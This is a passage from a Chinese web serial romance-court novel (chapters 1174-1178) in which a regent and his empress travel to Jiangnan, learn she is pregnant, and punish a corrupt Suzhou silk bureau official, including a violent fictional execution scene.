自己也不想再让她等下去了,自己亏欠她的实在是太多太多了。 是时候,好好地补偿一下她了。 至于怎么补偿……路上再说。 反正到时候车里就他们两个人,还不是想怎么补偿就怎么补偿? 只是这件事情不宜兴师动众的,得悄悄的进村,打枪滴不要。 于是。 三天之后。 一支,由两百名最精锐的“夜枭”死士,伪装成的普通商队。 便护送着林臻和慕容嫣。 悄无声息地,离开了长安城。 一路南下,向着那充满了诗情画意,和无限可能的江南水乡进发! 马车缓缓地行驶在通往江南的官道之上。 车轮压过青石板路发出“咕噜咕噜”的有节奏的声响。 车窗外是连绵不绝的青山绿水和那星星点点的粉墙黛瓦。 空气中弥漫着一股潮湿的带着青草和泥土芬芳的独特气息。 这一切都与北方那干燥而又粗犷的景象截然不同。 充满了一种让人心醉的温柔和婉约。 慕容嫣此刻正像一只好奇的猫儿趴在车窗边。 一双美丽的凤眸一眨不眨地看着窗外那她从未见过的江南美景。 脸上写满了新奇和兴奋。 第1174章 那不是鸟 今日的她脱下了那身象征着至高皇权的凤袍和霞帔。 只穿着那件作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在江南那柔和而又朦胧的阳光下呈现出一种如同上好墨玉般的温润质感。 那长达五丈的墨金色苏锦拖尾也被她小心翼翼地收拢在了这辆专门为她改造过的无比宽敞的马车之内。 虽然依旧是凌乱地堆叠着。 但那华贵的凌乱之中却少了几分在皇宫时的霸气和疏离。 多了几分属于旅途的随性和惬意。 “夫君你快看!” 她突然指着窗外不远处的一片碧绿的湖泊兴奋地叫道。 “那里有好多白色的长脖子的鸟啊!” “它们是在水里抓鱼吃吗?” 林臻看着她那因为兴奋而微微泛红的俏脸。 和那双亮得惊人的凤眸。 脸上露出了一个宠溺的笑容。 他走到她的身边顺着她手指的方向望去。 “傻丫头那不是鸟。” “那是鹅。” “鹅?” 慕容嫣一愣。 “就是我们在宫里吃的那个烧鹅的鹅吗?” “对,就是它。” 林臻笑着刮了刮她的鼻尖。 “怎么?是不是觉得活的比烤熟的要可爱多了?” “嗯!” 慕容嫣嫣重重地点了点头。 “它们在水里游来游去的样子,好悠闲好自在啊。” 她的声音里充满了无法掩饰的羡慕。 林臻看着她心中微微一疼。 他知道她虽然是这个世界上最尊贵的女人。 但同时也是这个世界上最不自由的女人。 她从出生起就被困在了,那座金碧辉煌的四方城里。 她见过最广阔的天地,也不过是栖凤阁前的那片小小的花园。 就连这寻常百姓家最常见的鹅,她也只是在御膳房的餐桌上见过。 “嫣儿,”他从身后轻轻地将她拥入怀中,下巴抵在她的发顶。 “等以后我们老了。” “我就带你来江南定居。” “我们也养一群这样的大白鹅。” “再养一群鸡一群鸭。” “我们就在湖边盖一栋小竹楼。” “日出而作日落而息。” “再也不回那个让人喘不过气来的皇宫了。” “好不好?” 慕容嫣静静地听着他对未来的美好描绘。 那双美丽的凤眸之中也充满了无尽的向往。 她将脸在他的胸膛上蹭了蹭,声音软得像棉花糖。 “好,都听你的。” 两人就这么静静地相拥着。 看着窗外那不断倒退的江南美景。 心中充满了前所未有的宁静和满足。 他们知道这样的日子不会太长久。 他们终究还是要回到那个充满了权谋和纷争的名利场。 但至少在现在在这一刻。 他们可以暂时地放下皇帝和摄政王的身份。 就当一对最普通的出来游山玩水的富家夫妻。 享受着这来之不易的宁静与温存。 一路之上走走停停。 饿了便在路边的小镇找一家看起来最顺眼的酒楼,尝一尝当地的特色小吃。 累了便在山间的古寺借宿一晚,听一听那暮鼓晨钟和那梵音禅唱。 兴致来了林臻还会租上一叶扁舟。 载着慕容嫣泛舟于那碧波荡漾的湖面之上。 他为她唱着,她从未听过的江南小调。 她为他跳着,她专门为他而学的霓裳羽衣舞。 那感觉简直就像是一对不食人间烟火的神仙眷侣。 只是这美好的日子并没有持续太久。 就在他们即将抵达第一站苏州城的时候。 慕容嫣的身体却突然出了一点小小的状况。 这一日清晨。 马车照常上路。 可慕容嫣却一反常态地没有像往常一样趴在窗口看风景。 而是一个人蔫蔫地蜷缩在马车角落的软榻上。 脸色也有些不太好看的苍白。 “嫣儿怎么了?” 林臻第一时间便察觉到了她的不对劲。 他连忙在她身边坐下伸出手探了探她的额头。 “不烫啊。” “是不是哪里不舒服?” “没……没什么……” 慕容嫣嫣有气无力地摇了摇头。 “就是觉得有点头晕恶心。” “没什么胃口。” 她的话音刚落。 一股强烈的恶心感便突然从她的胃里翻涌了上来! “呕——” 她猛地推开林臻趴在车窗边便是一阵剧烈的干呕! 可她早上根本就没吃什么东西。 呕了半天也只是吐出了一些酸水。 林臻看着她那因为剧烈的呕吐而变得愈发苍白的俏脸。 和那痛苦的蜷缩成一团的娇小身躯。 只觉得自己的心都快要碎了! “快!快停车!” 他猛地掀开车帘对着外面的鬼影大声吼道! “传御医!快传御医!” 鬼影听到林臻那,充满了惊慌和恐惧的嘶吼。 也是吓了一大跳! 他跟着王爷这么多年,还从未见过王爷如此失态的模样! 难道是,娘娘出什么事了?! 一想到这里,他也不敢有丝毫的怠慢。 连忙勒停了马车。 然后,一个闪身便冲到了队伍最后面,那辆专门为随行御医准备的马车前。 “张太医!快!娘娘凤体有恙!王爷让您立刻过去!” 那位已经年过六旬的,须发皆白的老太医正在车里,闭目养神。 听到鬼影那急促的呼喊,也是一个激灵,瞬间清醒了过来! “什么?!娘娘怎么了?!” 他一边手忙脚乱地背起自己的药箱。 一边连滚带爬地,从马车上跳了下来。 然后,便用一种与他那苍老年纪完全不符的速度。 一路小跑着,冲到了林臻和慕容嫣所在的,那辆华丽的马车前。 “老……老臣,参见王爷,参见娘娘!” 他喘着粗气,跪倒在地。 “行了,别废话了!快!快给娘娘看看!” 林臻的声音里,充满了无法掩饰的焦急。 他现在真是后悔死了! 他就不该,由着她的性子带她出来! 这江南水乡,气候潮湿,又多瘴气。 她一个从小在北方长大的金枝玉叶。 水土不服也是在所难免的。 万一要是染上了什么恶疾…… 他简直不敢再想下去了! “是!是!” 张太医也被林臻那仿佛要杀人一般的目光,给吓得浑身一哆嗦。 连忙从地上爬起来走进了车厢。 当他看到,慕容嫣那苍白如纸的俏脸。 和那虚弱无力的模样时。 心中也是猛地一沉! 坏了! 娘娘这症状,可不像是简单的水土不服啊! 他不敢怠慢,连忙从怀中取出一块洁白的丝帕,垫在慕容嫣的皓腕之上。 然后伸出那三根干枯却又无比沉稳的手指。 开始凝神静气地为她切起了脉。 第1175章 有喜了 整个车厢瞬间便安静了下来。 只剩下众人那因为紧张而变得无比粗重的呼吸声。 林臻的心更是提到了嗓子眼! 他死死地盯着张太医那不断变换的脸色。 生怕从他的嘴里听到任何不好的消息。 时间在这一刻仿佛被无限地拉长了。 每一分每一秒,对林臻来说都像是一个世纪那么漫长。 终于。 张太医缓缓地收回了手。 他那张原本写满了凝重的脸上,突然露出了一丝古怪的难以言喻的表情。 那表情似惊似喜,又带着一丝强烈的不确定。 “张太医到底怎么样了?!” 林臻再也忍不住了,一把抓住他的胳膊急切地问道。 “嫣儿她……她到底得的是什么病?!” “王……王爷……您……您先别急……” 张太医被他抓得生疼声音都有些哆哆嗦嗦。 “娘娘她……她不是病了……” “不是病了?” 林臻一愣。 “那她这是怎么了?” “娘娘她……” 张太医深吸一口气仿佛是做出了一个极其重大的决定。 他“噗通”一声又跪了下去。 然后用一种充满了狂喜和激动的颤抖的声音高声喊道。 “恭喜王爷!贺喜王爷!” “娘娘她……她这是有喜了啊!” “轰——” 这句话像是一道九天之外的惊雷。 瞬间在林臻的脑海里轰然炸响! 他整个人都傻了。 呆呆地愣在了原地。 有……有喜了? 嫣儿她……她怀孕了? 他……他要当爹了?! 这个念头像一颗幸福的炸弹。 瞬间将他的理智给炸得七零八落! 巨大的难以言喻的狂喜如同决了堤的洪水一般瞬间将他整个人都给淹没了! 他感觉自己像是飘在了云端里。 脚下轻飘飘的踩不到实地。 整个世界都变得那么的不真实。 慕容嫣也同样被这个突如其来的消息,给惊得半天说不出话来。 她下意识地伸出手,轻轻地抚摸着自己那还依旧平坦的小腹。 那双美丽的凤眸之中,充满了难以置信的震惊和茫然。 她……她竟然真的怀上了他的孩子? 她和他的爱情结晶? 这个念头,让她的心瞬间便被一种前所未有的巨大的幸福感给填得满满的。 眼泪再一次不争气地从她的眼角滑落。 只是这一次那泪水之中,除了喜悦,更有一种即将为人母的神圣和温柔。 神凤降世裙那极致玄黑的苏锦底料在这一刻仿佛变成了一片最肥沃最神秘的黑色土壤。 正在孕育着一个全新的伟大的生命。 那只用真金线绣成的擎天巨凤,也仿佛感受到了这血脉相连的奇妙感应。 收敛了所有的锋芒和威严凤目低垂,充满了一种即将为人母的慈爱和温柔。 那长达五丈的墨金色苏锦拖尾,从她的脚下一直铺陈到林臻的脚边。 像一条连接着过去与未来的充满了希望的金色脐带。 将他们一家三口紧紧地联系在了一起。 “哈哈……哈哈哈哈!” 林臻在短暂的呆滞之后终于反应了过来! 他猛地一把将张太医从地上拽了起来! 然后在他那惊恐的目光中将他高高地举过了头顶! “张太医!你!你真是我们林家的大功臣啊!” “本王要重重地赏你!” “赏你黄金万两!良田千亩!” “不!不够!本王要奏请陛下封你为‘送子侯’!” 他状若疯癫地大笑着嘶吼着。 完全没有了平日里那副沉稳冷静的摄政王的模样。 像一个第一次得到心爱玩具的傻小子。 张太医被他举在半空中吓得魂都快飞了。 “王……王爷……使不得!使不得啊!” “老臣……老臣愧不敢当啊!” 车厢外的鬼影和一众“夜枭”死士听着车里那充满了狂喜的笑声。 也是一个个面面相觑。 他们不知道里面到底发生了什么。 能让他们的王爷高兴成这个样子。 直到林臻那充满了穿透力的声音从车厢里传了出来。 “都愣着干什么?!” “本王的王妃有喜了!” “本王要当爹了!” “传本王的令!” “所有护卫每人赏银百两!” “今晚我们在苏州城不醉不归!” 林臻那充满了狂喜的,中气十足的宣告。 像一阵十二级的飓风,瞬间席卷了整个车队! 所有“夜枭”死士在短暂的难以置信的呆滞之后。 爆发出了一阵发自灵魂深处的,山呼海啸般的疯狂欢呼! “恭喜王爷!贺喜王爷!” “王妃娘娘千岁!小主子千岁!” “大乾万岁!大乾万岁!” 他们一个个激动得满脸通红手舞足蹈。 比他们自己当了爹还要高兴! 他们知道这个孩子的到来意味着什么。 那意味着大乾的江山后继有人! 那意味着他们陛下和王爷的传奇血脉将得以延续! 这不仅仅是王爷和娘娘的喜事。 这更是整个大乾的天大的喜事! 鬼影更是激动得热泪盈眶。 他跟着王爷从尸山血海里一路杀出来。 看着他从一个被人瞧不起的赘婿。 一步一步走到今天这个权倾天下,万人之上的位置。 他比任何人都更清楚,王爷这一路走来到底有多么的不容易。 如今王爷终于有了自己的子嗣。 他这个做属下的,真是发自内心地为他感到高兴! 林臻在车厢里疯了一阵。 才终于被又羞又气的慕容嫣给强行按了下来。 “你这个坏蛋!快放张太医下来!” 她嗔怪地瞪了他一眼。 “你看看你把人家老先生给吓成什么样了!” 林臻闻言这才反应过来。 自己手里还举着一个大活人呢。 他有些尴尬地咳嗽了一声。 然后小心翼翼地,将早已吓得面如土灰的张太医给放了下来。 “咳咳那个张太医刚才本王有些失态了。” “还望海涵。” “不……不敢不敢……” 张太医双腿发软地站在地上连连摆手。 “能……能为王爷和娘娘诊出喜脉。” “是……是老臣三生有幸啊!” “好好好。” 林臻现在是看谁都顺眼。 他拍了拍张太医的肩膀笑得合不拢嘴。 “等回了京城本王一定为你请功!” 他又转过头看着自己那正一脸娇羞地抚摸着小腹的小娇妻。 心中更是柔情万种。 他走上前,在她身边坐下,伸出手将她和她肚子里的那个小小的生命一起拥入了怀中。 “嫣儿辛苦你了。” 他的声音温柔得能掐出水来。 慕容嫣的眼圈又红了。 她将头靠在他的肩膀上,声音带着一丝即将为人母的特有的温柔。 “不辛苦。” “能为你生儿育女。” “是我这辈子最幸福的事。” 两人就这么静静地相拥着。 享受着这份初为父母的巨大的喜悦。 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在这一刻仿佛变成了一片最温暖最安全的黑色港湾。 将她和她腹中的孩子温柔地包裹其中。 那只用真金线绣成的擎天巨凤,也仿佛彻底地活了过来! 它不再是那个杀伐果断睥睨天下的女帝图腾。 而是变成了一个充满了母性光辉的伟大母亲! 凤目之中闪烁着对腹中那小小生命的,无尽的慈爱和期待! 那长达五丈的墨金色苏锦拖尾,从她的脚下一直铺陈到马车的每一个角落。 像一张巨大的温暖的黑金色羽翼。 将这个即将迎来新成员的幸福的小家庭牢牢地守护在其中。 那华贵的凌乱之中充满了一种血脉相连的家的温暖。 “夫君,”慕容嫣突然抬起头看着他问道。 “你说我们的孩子会是男孩还是女孩啊?” “不管是男孩还是女孩。” 林臻低头在她的唇上轻轻地啄了一下。 “都是我林臻的种,都是我们大乾的宝贝!” “我希望是个女孩。” 慕容嫣的脸上露出了一个向往的笑容。 “一个像我一样漂亮,又像你一样聪明的小公主。” “到时候我就把这世上所有最好的东西都给她。” “把她宠成一个无法无天的小魔女。” “那可不行。” 林臻闻言却是一脸严肃地摇了摇头。 “我们大乾的公主怎么能是小魔女呢?“ “要我说还是生个男孩好。” “一个像我一样英俊,又像你一样霸道的小混蛋。” “等他长大了我就把我的毕生所学全都教给他。” “让他替我们去征服那星辰大海!” “你又胡说!” 第1176章 生男生女都行啊 慕容嫣被他这番“重男轻女”的言论给气笑了。 “凭什么女孩就不能征服星辰大海了?” “我这个女皇帝当得不比那些臭男人差吧?” “是是是,我的皇后陛下说得都对。” 林臻连忙举手投降。 “我们家你最大。” “你说生男生女,就生男生女。” 两人就这么你一言我一语地斗着嘴。 为他们那还未出世的孩子,规划着美好的未来。 气氛温馨而又甜蜜。 …… 车队在傍晚时分终于抵达了江南最繁华的城市之一——苏州城。 林臻早就派人包下了城里最大也最奢华的悦来客栈。 作为他们此行的临时落脚点。 然而当他们的马车刚刚驶入苏州城时。 便被眼前那人山人海锣鼓喧天的景象给惊呆了。 只见整个苏州城张灯结彩喜气洋洋。 所有的百姓都自发地涌上了街头。 他们手里拿着各种各样的土特产和自己亲手做的小礼物。 一个个都伸长了脖子向着他们的车队张望着。 那场面简直比当初在长安迎接他们大婚时还要热闹几分! “这……这是怎么回事?” 慕容嫣看着窗外那一张张热情洋溢的笑脸。 脸上写满了困惑。 “我们不是微服私访吗?” “他们怎么会知道我们来了?” 林臻的脸也是一黑。 他不用想也知道。 一定是他白天在车队里宣布的那个“喜讯”。 被鬼影那个大嘴巴给提前泄露出去了! 他现在只想把鬼影那个家伙给吊起来打一百遍! 就在这时。 苏州知府带着一众本地的官员和乡绅。 拨开人群一路小跑着来到了他们的马车前。 然后齐刷刷地跪倒在地。 “苏州知府孙承宗率全城百姓!” “恭迎陛下!恭迎王爷!” “恭喜陛下!贺喜陛下!” “喜得龙嗣!天佑我大乾啊!” 他这一嗓子喊出来。 整个苏州城瞬间便沸腾了! “陛下有喜了?” “天啊!这是真的吗?” “太好了!我们大乾有后了!” 短暂的震惊之后。 是排山倒海般的疯狂欢呼! 所有百姓全都发自肺腑地跪倒在地! 那山呼海啸般的“陛下万岁大乾万岁”的声音直冲云霄! 仿佛要将整个苏州城的天空都给掀翻! 慕容嫣的脸“轰”的一下又红了。 她怎么也没想到。 自己怀孕这件事竟然会以如此夸张的方式。 传遍了整个江南。 ...... 被整个苏州城的百姓当街“围观”和“恭贺”。 饶是慕容嫣已经贵为九五之尊,脸皮也远非寻常女子可比。 此刻也是羞得恨不得立刻找个地缝钻进去。 她坐在那无比宽敞的马车里,只觉得浑身都像是被火烧一样,滚烫滚烫的。 她又羞又气地,在林臻身上狠狠地掐了一下。 “都怪你!这个大嘴巴!” “现在好了!全天下的人都知道了!” “我……我以后还怎么见人啊!” “这怎么能怪我呢?” 林臻一脸无辜地揉着自己被掐疼的胳膊。 “我那不是太高兴了吗?” “再说了这可是天大的喜事!” “让全天下的百姓都跟着我们一起高兴高兴有什么不好的?” “你……你还说!” 慕容嫣气得眼圈都红了。 林臻看着她那又羞又恼的可爱模样心中爱意更浓。 他不再跟她斗嘴。 而是伸出双臂一把将她紧紧地拥入怀中。 “好啦好啦,我的好嫣儿,不气了不气了。” 他低头吻去她眼角那点因为羞恼而逼出的晶莹泪珠。 声音温柔得能滴出水来。 “我知道你脸皮薄,被他们这么一闹心里肯定不舒服。” “但是嫣儿你也要明白。” “他们这么做并无恶意。” “他们只是太爱戴我们,太希望我们大乾能有一个稳定而又光明的未来了。” 慕容嫣静静地听着。 她知道这个男人不是在说空话。 他是在安慰她,也是在提醒她。 她现在不仅仅是他的妻子。 更是这个庞大帝国的女皇帝。 她的身上承载着亿万子民的希望和寄托。 她的喜怒哀乐早已不再只属于她一个人。 想到这里。 她心中的那点因为羞恼和尴尬而生出的不快,瞬间烟消云散。 取而代之的是满满的感动和责任感。 她主动地伸出双臂,紧紧地回抱着他。 将自己的脸深深地埋进他那宽阔而又温暖的胸膛。 “夫君……” 她的声音带着浓浓的鼻音闷闷地从他的怀里传了出来。 “谢谢你。” …… 因为身份的意外暴露。 林臻和慕容嫣原本那轻松惬意的“微服私访”计划自然也就泡汤了。 他们被热情的苏州知府和本地乡绅恭恭敬敬地请进了早已为他们准备好的苏州行宫。 接下来的几天。 两人便在苏州官员的陪同下。 开始了他们此行的第一次正式“考察”。 第一站便是苏州织造府。 这里是整个大乾乃至整个天下最顶尖的丝绸生产中心。 每年从这里生产出来的各种绫罗绸缎,不仅要供应整个皇宫的用度。 还要作为最珍贵的贡品赏赐给那些前来朝贡的四方蛮夷。 可以说苏州织造府的兴衰,直接关系到大乾皇室的脸面和国家的财政收入。 当林臻和慕容嫣走进那占地数百亩的巨大织造府时。 便被眼前那热火朝天的生产景象给深深地震撼了。 只见数千名衣着统一的织工和绣娘,正在那数以千计的巨大织机前紧张而又熟练地忙碌着。 织机转动的“咔咔”声。 梭子来回穿梭的“唰唰”声。 和那工人们相互交流的吴侬软语。 交织在一起形成了一曲充满了生命力和创造力的劳动交响乐。 空气中弥漫着一股桑叶和蚕丝混合在一起的独特清香。 “启禀陛下王爷。” 负责接待他们的苏州织造府总管,一个看起来精明干练的中年官员,躬身说道。 “我们苏州织造府现有织工三千六百人绣娘一千二百人。” “拥有各式织机两千余台。” “每年可产出各类顶级丝绸十万余匹。” “其中最顶级的‘乌云踏雪’和‘流光锦’更是我大乾独有的贡品。” “就算是在海外也是有价无市的无价之宝。” 他一边说着,一边脸上充满了无法掩饰的骄傲。 林臻和慕容嫣听着他的介绍也是频频点头。 他们知道,这小小的织造府就是一个不折不扣的超级金矿。 “很好。” 慕容嫣开口了。 她的声音虽然温和却带着一股不容置疑的威严。 “朕今日前来是想告诉你们。” “从今日起,你们织造府要扩大生产规模!” “朕要你们在一年之内将产量翻一番!” “并且朕还会从京城调拨最顶尖的工匠和资金。” “帮助你们研发出更多,更精美,更受市场欢迎的全新丝绸品类!” “朕要让我们大乾的丝绸,不仅仅是皇室的贡品。” “更要成为全世界所有王公贵族都梦寐以求的奢侈品!” “朕要用这小小的丝绸为我们大乾,赚来一座座金山银山!” 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在织造府内那略显昏暗,却又充满了勃勃生机的氛围中,显得格外的深邃而又充满了力量。 仿佛能将这所有的喧嚣和繁杂都吸入其中。 然后再孕育出更加辉煌的未来。 那只用真金线绣成的擎天巨凤,更是仿佛从这无数的丝线和织机之中,找到了自己的同类。 凤目之中迸发出了前所未有的,充满了创造与革新的璀璨光芒! 仿佛在与它的主人一起,规划着这个即将崛起的庞大的丝绸帝国! 那长达五丈的墨金色苏锦拖尾从她的脚下恣意地铺陈开来。 与那地上堆积如山的,五颜六色的丝绸布料交织在一起。 形成了一片充满了工业美感,和财富气息的华丽凌乱。 那名织造府总管和身后的所有官员,听完慕容嫣这番豪情万丈的讲话。 一个个都是激动得面红耳赤! “陛下圣明!” “臣等愿为陛下为大乾鞠躬尽瘁,死而后已!” 他们齐刷刷地跪倒在地。 心中对这位年纪轻轻却拥有着经天纬地之才的绝美女帝。 充满了无尽的崇拜和敬畏。 然而就在这时。 一个不合时宜的带着哭腔的尖利声音,却突然从织造府的后院传了过来。 “冤枉啊!大人!草民冤枉啊!” “求大人为草民做主啊!” 第1177章 敢不敢让朕看账本 那突如其来的凄厉哭喊声。 像一盆冰冷刺骨的雪水。 瞬间浇灭了织造府内那热火朝天的激动氛围。 所有人的脸上都露出了一丝尴尬和错愕。 尤其是那位刚刚还在慷慨陈词的织造府总管。 他的脸瞬间就黑了。 “混账!是什么人在外面喧哗?!” 他转过头对着身后的护卫怒声喝道。 “还不快去把他给本官轰出去!” “是!” 几名护卫连忙领命而去。 “等等。” 就在这时慕容嫣却突然开口了。 她的声音很平静听不出喜怒。 但那双美丽的凤眸之中却闪过了一丝冰冷的寒光。 “让他进来。” “陛……陛下……” 那名总管的脸色瞬间变得比刚才还要难看。 额头上也冒出了一层细密的冷汗。 “陛下这……这不过是一些刁民在无理取闹罢了。” “何必为了这点小事惊扰了您的圣驾?” 他努力地想要将此事给糊弄过去。 然而慕容嫣却只是冷冷地看了他一眼。 “朕说让他进来。” 那名总管被她那不带一丝感情的目光看得浑身一颤。 一股冰冷刺骨的寒意,瞬间从他的脚底板直冲天灵盖! 他知道自己再也瞒不住了。 “是……是陛下……” 他哆哆嗦嗦地应了一声。 然后便对着外面挥了挥手。 很快。 一个衣衫褴褛浑身是伤看起来约莫四五十岁的中年男子。 便被两名护卫,如同拖死狗一般给拖了进来。 他一进门看到高高在上的慕容嫣和林臻。 便像是抓住了最后一根救命稻草一般。 拼尽全身的力气挣脱了护卫的束缚。 然后“噗通”一声跪倒在地。 拼命地磕起了头。 “草民张三叩见陛下!叩见王爷!” “求陛下王爷为草民做主啊!” 他的声音沙哑而又充满了无尽的绝望和悲愤。 “张三,你有何冤屈,但说无妨。” 慕容嫣看着他那凄惨的模样声音依旧平静。 “朕和王爷今日,便在此为你做主。” “谢陛下!谢王爷!” 张三闻言,更是激动得热泪盈眶。 他抬起头那双布满了血丝的眼睛,死死地盯着一旁早已吓得面无人色的织造府总管。 用一种充满了刻骨恨意的声音嘶吼道。 “陛下!王爷!” “草民要状告这苏州织造府总管李卫!” “状告他草菅人命!贪赃枉法!克扣工钱!欺压良善!” 此言一出满场皆惊! 所有人的目光,都齐刷刷地聚焦在了那位名叫李卫的织造府总管身上。 而李卫此刻早已是面如死灰浑身抖如筛糠。 “你……你血口喷人!” 他指着张三色厉内荏地嘶吼道。 “本官何时草菅人命了?!” “你再敢胡说八道,信不信本官现在就将你乱棍打死!” “哼,乱棍打死?” 张三闻言却是发出了一阵凄厉的冷笑。 “李卫!你这个猪狗不如的畜生!” “你还敢说你没有草菅人命?!” “我那年仅十六岁的女儿小翠!” “就因为不小心弄脏了一匹准备上贡的云锦!” “便被你这个畜生活活地给打死了!” “还有我们这些织工的工钱!” “朝廷明明每个月发给我们二两银子!” “可到了我们手里就只剩下不到五百文!” “剩下的钱都到哪里去了?!” “还不是都进了你这个贪得无厌的王八蛋的口袋里!” “还有……” 张三越说越激动越说越悲愤。 他将李卫这些年来在织造府内所犯下的一桩桩,一件件,令人发指的罪行,全都当着所有人的面给抖了出来! 整个织造府瞬间陷入了死一般的寂静。 所有官员都用一种难以置信的目光,看着那个平日里看起来道貌岸然的李总管。 他们怎么也想不到。 这个刚刚还在他们面前大谈特谈,要为大乾建功立业的“能臣”。 背地里竟然是这样一个丧心病狂猪狗不如的人渣! 林臻听完张三的控诉。 那张英俊的脸早已是阴沉得能滴出水来。 一股冰冷的如同实质般的杀气,从他的身上弥漫开来。 让整个织造府的温度,都仿佛在瞬间下降了好几度。 他最恨的就是这种欺上瞒下,鱼肉百姓的贪官污吏! 尤其还是在他和嫣儿眼皮子底下! 这简直就是在赤裸裸地打他们的脸! 而慕容嫣此刻虽然没有说话。 但她那张绝美的俏脸之上,也早已是布满了一层冰冷的寒霜。 她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在这一刻仿佛变成了一片深不见底的愤怒的深渊。 要将所有胆敢玷污这个国家的魑魅魍魉,全都吞噬殆尽! 那只用真金线绣成的擎天巨凤,更是仿佛要从她的身上挣脱而出! 凤目之中迸发出了前所未有的,充满了审判与毁灭的冰冷杀意! 那长达五丈的墨金色苏锦拖尾在她身后无风自动。 那华贵的凌乱在这一刻不再是慵懒,而是一种山雨欲来风满楼的恐怖压抑! “李卫。” 许久她才缓缓地开口。 声音冰冷得不带一丝感情。 “他说的可是真的?” “陛……陛下……冤……冤枉啊!” 李卫噗通一声跪倒在地。 浑身抖得像是风中的落叶。 “他……他是在诬告!他是在血口喷人啊!” “臣……臣对大乾忠心耿耿!对陛下更是忠心不二啊!” “求陛下明察啊!” “是吗?” 慕容嫣的嘴角勾起了一抹冰冷的带着一丝嘲讽的弧度。 “那你敢不敢让朕查一查,你织造府的账本呢?” “查账本?” 听到这三个字李卫的身体猛地一晃。 那张早已毫无血色的脸上瞬间浮现出了一抹绝望的死灰。 他知道自己完了。 彻彻底底地完了。 他那些做得天衣无缝的假账。 或许能糊弄得了户部的那些蠢猪。 但想要糊弄眼前这位拥有着经天纬地之才的绝美女帝。 和那位智多近妖的摄政王殿下。 简直就是痴人说梦! “怎么?不敢了?” 慕容嫣看着他那失魂落魄的模样声音愈发地冰冷。 “陛……陛下……饶命啊!” 李卫再也撑不住了。 他像一条被抽去了脊梁骨的死狗一样瘫软在地。 拼命地磕着头哭嚎道。 “臣……臣知错了!臣罪该万死!” “求陛下看在臣为织造府也曾立下过汗马功劳的份上。” “饶……饶臣一条狗命吧!” “饶你一条狗命?” 林臻闻言却是发出了一声不屑的冷笑。 他走到李卫的面前居高临下地看着他。 那双深邃的眼睛里全是毫不掩饰的鄙夷和杀意。 第1178章 从百姓中来,到百姓中去 “你这个猪狗不如的畜生!” “在草菅人命鱼肉百姓的时候。” “怎么就没想过要饶他们一条狗命?” “那个被你活活打死的年仅十六岁的小姑娘。” “她又何其无辜?” “还有那些被你克扣了血汗钱的劳苦织工。” “他们上有老,下有小,一家老小都指望着那点工钱活命!” “你断了他们的活路,跟杀了他们又有什么区别?!” 林臻的每一句话都像是一记重锤。 狠狠地敲在李卫的心上。 也敲在在场所有官员和乡绅的心上。 他们一个个都低着头噤若寒蝉。 连大气都不敢喘一口。 他们知道这位在战场上杀伐决断的摄政王。 在对待贪官污吏这方面同样是毫不留情! “王……王爷……我……我错了……” 李卫嘴唇哆嗦着还想再求饶。 然而林臻却已经没有耐心再听他废话了。 他猛地抬起脚。 狠狠地一脚踹在了他的胸口之上! “咔嚓!” 一声清脆的骨裂声响起! 李卫的胸骨被他干脆利落地直接踹断! “啊——!” 他发出一声撕心裂肺的惨嚎。 整个人如同断了线的风筝一般,倒飞了出去。 重重地撞在了不远处的一台巨大织机之上! 然后又如同一滩烂泥一般滑落在地。 嘴里大口大口地往外喷着混杂着内脏碎片的鲜血。 眼看是活不成了。 “拖下去。” 林臻的声音冰冷得不带一丝温度。 “传本王的令!” “将此獠悬尸于苏州城门之上曝尸三日!” “以儆效尤!” “是!” 两名“夜枭”死士从暗处闪身而出。 像拖一条死狗一样,拖着那已经奄奄一息的李卫,消失在了众人的视线之中。 整个织造府再一次陷入了死一般的寂静。 所有官员都用一种充满了恐惧和敬畏的目光,看着那个站在大厅中央,浑身都散发着滔天杀气的男人。 他们知道。 这位摄政王是真的动了杀心了。 而慕容嫣从始至终都没有说一句话。 她只是静静地看着。 看着林臻用最直接也最血腥的方式。 为那个名叫张三的可怜织工讨回了公道。 为这个早已腐烂不堪的织造府清理了门户。 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在织造府内那充满了血腥与肃杀的氛围中,显得格外的冰冷和庄严。 仿佛是来自九幽地狱的审判之袍。 那只用真金线绣成的擎天巨凤,更是仿佛化身成了执掌生杀大权的地狱判官! 凤目之中迸发出了令人不敢直视的冰冷寒光! 那长达五丈的墨金色苏锦拖尾在她身后安静地流淌着。 那华贵的凌乱在这一刻不再是慵懒,而是一种对所有罪恶的无情碾压! 许久。 她才缓缓地将目光从那滩刺眼的血迹上移开。 落在了那位还跪在地上的织工张三身上。 “张三。” 她的声音很轻却带着一股让人无法抗拒的力量。 “你的冤屈朕已经为你申了。” “你的女儿在天之灵也可以安息了。” “从今日起你便是这苏州织造府的新任总管。” 此言一出又是满场皆惊! 让一个最底层的普通织工。 一步登天成为这权势滔天的织造府总管? 这……这简直是闻所未闻见所未见的破格之举啊! 就连张三自己也傻了。 他呆呆地跪在地上半天没反应过来。 “陛……陛下……草民……草民何德何能……” “朕说你行你就行。” 慕容嫣的声音不容置疑。 “朕不需要那些满口之乎者也的所谓能臣。” “朕需要的是真正从百姓中来,到百姓中去的,实干之人。” “朕相信你一定能比那个猪狗不如的李卫,做得更好。” “朕和王爷,还有这织造府的数千织工,都看着你。” 慕容嫣的这番话掷地有声。 张三的眼中瞬间便涌上了感动的泪水。 他看着眼前这位年轻绝美却又充满了智慧和担当的女帝。 心中那点因为女儿惨死而生出的对这个世界的绝望和怨恨。 瞬间烟消云散! 取而代之的是一股前所未有的士为知己者死的责任感和使命感! “陛下!王爷!” 他“噗通”一声又一次跪倒在地。 用尽全身的力气重重地磕了三个响头! “草民!张三!” “愿为陛下为王爷肝脑涂地!万死不辞!” 处理完苏州织造府的这颗大毒瘤。 林臻和慕容嫣的心情都有些沉重。 他们没有想到。 在这看似繁华似锦的江南水乡。 竟然还隐藏着如此触目惊心的黑暗和腐败。 一个小小的织造府总管便敢如此草菅人命贪赃枉法。 那其他地方呢? 那些他们看不到的更阴暗的角落里呢? 是不是还隐藏着更多更无耻的李卫? “夫君,”马车之上,慕容嫣靠在林臻的怀里,声音有些低沉。 “你说我们是不是错了?” “我们是不是太相信那些所谓的读书人了?” “我们是不是应该用更严酷的律法来约束他们?” 